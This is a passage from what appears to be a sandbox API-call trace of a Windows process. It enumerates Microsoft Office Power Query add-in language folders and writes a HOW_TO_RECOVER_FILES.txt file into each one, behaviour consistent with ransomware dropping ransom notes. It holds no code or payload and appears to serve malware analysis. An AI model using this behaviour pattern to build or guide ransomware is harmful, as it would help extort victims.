lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2ebbef3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0214.695] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1945af2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1945af2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0214.695] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2ff666, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x92aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0214.695] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0214.695] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0214.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0214.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0214.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0214.696] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu", lpFilePart=0x0) returned 0x68 [0214.696] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0214.697] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.697] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf75a8fbb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf75a8fbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf75a8fbb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0214.697] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2ebbef3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0214.697] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1945af2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1945af2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0214.698] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2ff666, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x92aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0214.698] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2ff666, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x92aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0214.698] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0214.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0214.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0214.699] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0214.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0214.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0214.700] GetFileType (hFile=0x808) returned 0x1 [0214.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0214.700] GetFileType (hFile=0x808) returned 0x1 [0214.701] WriteFile (in: hFile=0x808, lpBuffer=0x352c520*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x352c520*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0214.702] CloseHandle (hObject=0x808) returned 1 [0214.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0214.702] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id", lpFilePart=0x0) returned 0x68 [0214.702] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0214.704] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.705] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0214.705] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0214.705] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d9d08d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d9d08d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf755cb7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0214.705] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc43098a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0214.705] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0214.705] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0214.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0214.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0214.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0214.706] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id", lpFilePart=0x0) returned 0x68 [0214.706] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0214.707] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.707] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0214.707] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0214.708] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d9d08d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d9d08d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf755cb7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0214.708] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc43098a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0214.708] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc43098a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0214.708] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0214.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0214.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0214.709] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0214.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0214.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\id\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0214.710] GetFileType (hFile=0x808) returned 0x1 [0214.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0214.710] GetFileType (hFile=0x808) returned 0x1 [0214.711] WriteFile (in: hFile=0x808, lpBuffer=0x3542290*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x3542290*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0214.712] CloseHandle (hObject=0x808) returned 1 [0214.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0214.712] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it", lpFilePart=0x0) returned 0x68 [0214.712] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0214.715] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.715] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc240ad7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc240ad7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0214.715] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5fc257f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5fc257f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6034d6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0214.715] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6270fd0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0214.715] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa89f599, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae22cc9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8caa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0214.715] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0214.716] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0214.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0214.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0214.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0214.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it", lpFilePart=0x0) returned 0x68 [0214.716] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0214.717] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, 